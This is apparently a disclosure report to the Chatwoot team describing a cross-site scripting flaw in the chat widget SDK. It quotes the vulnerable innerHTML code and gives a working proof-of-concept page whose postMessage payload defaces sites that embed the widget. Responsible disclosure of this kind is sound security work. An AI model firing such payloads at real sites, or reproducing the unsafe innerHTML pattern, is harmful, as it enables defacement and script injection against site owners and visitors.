Description

Hey Chatwoot team, while looking for vulnerabilities I found a critical XSS which allow us to XSS/Deface any website which uses the chat, this can be automated to attack thousands of websites

Vulnerable Code

Inside this function https://github.com/chatwoot/chatwoot/blob/30fcb47477481772c9a447f7406af3a72be26ed1/app/javascript/sdk/bubbleHelpers.js#L16

We have this code:

export const setBubbleText = bubbleText => {
  if (isExpandedView(window.$chatwoot.type)) {
    const textNode = document.getElementById('woot-widget--expanded__text');
    textNode.innerHTML = bubbleText;
  }
};

The code uses dangerous JS function innerHTML with bubbleText value the problem is we control value of this variable inside the postMessage function.

Proof of Concept

&lt;body onclick=x()&gt;<h1>Click here
&lt;script&gt;
var w;
function x(){
w=window.open('https://www.chatwoot.com/','w');

setTimeout(()=&gt;{
w.postMessage(`chatwoot-widget:{"event":"setBubbleLabel","label":"&lt;svg&gt;&lt;svg/onload='document.body.innerHTML=&quot;&lt;br&gt;&lt;br&gt;&lt;h1 style=color:red;font-size:99px&gt;pwned&quot;'&gt;"}`,'*')
}
,5000)
}
&lt;/script&gt;

Online POC

https://pwr.wtf/chatw.html

Thanks
Renwa